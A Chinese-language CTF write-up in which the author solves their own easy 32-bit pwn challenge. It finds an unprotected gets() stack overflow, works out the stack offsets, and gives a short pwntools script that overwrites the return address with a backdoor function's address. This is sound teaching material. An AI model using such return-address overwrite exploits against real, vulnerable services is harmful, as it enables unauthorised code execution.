首先checksec:

保护全关,一般保护全关的题目要么特别简单要么特别难。很显然(因为这是我自己做的题),这个是前者。(当然不是所有带有ez的题目都很ez)(但是这个是真ez)

直接拖到ida一探究竟。

有一个main函数和一个back_door,还有一个overflow和init函数,backdoor里面是一个超级大后门:

main函数里面是init和overflow,一个是初始化,还有一个是一个最简单的栈溢出:

如图可见,这里有一个不安全的gets函数,然后有一个s变量。

点进去之后我们就能发现,从-0x18到+0x04都是本栈帧的模样,然后要输入0x18个字节覆盖char字符串s和一个var_4,输入4个字节覆盖saved register,最后输入4字节的地址来覆盖return地址。

所需要的地址就是我们的backdoor函数地址…

backdoor的位置在0x080491F0这个位置上,当然我们也可以填入0x08049211这个地址,这样可以跳过上面那个puts函数的调用。不过这里没必要,我们就以backdoor的地址为需要进入的地址:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#32
context(log_level = 'debug', arch = 'i386', os = 'linux')
file_addr = './overflow_ez_32'
p = process(file_addr)
elf = ELF(file_addr)

backdoor_addr = 0x080491F0
payload = b'a'*0x18
payload += b'a'*0x04
payload += p32(backdoor_addr)
print(payload)
p.sendafter(b'door?\n',payload)
p.interactive()

非常简单。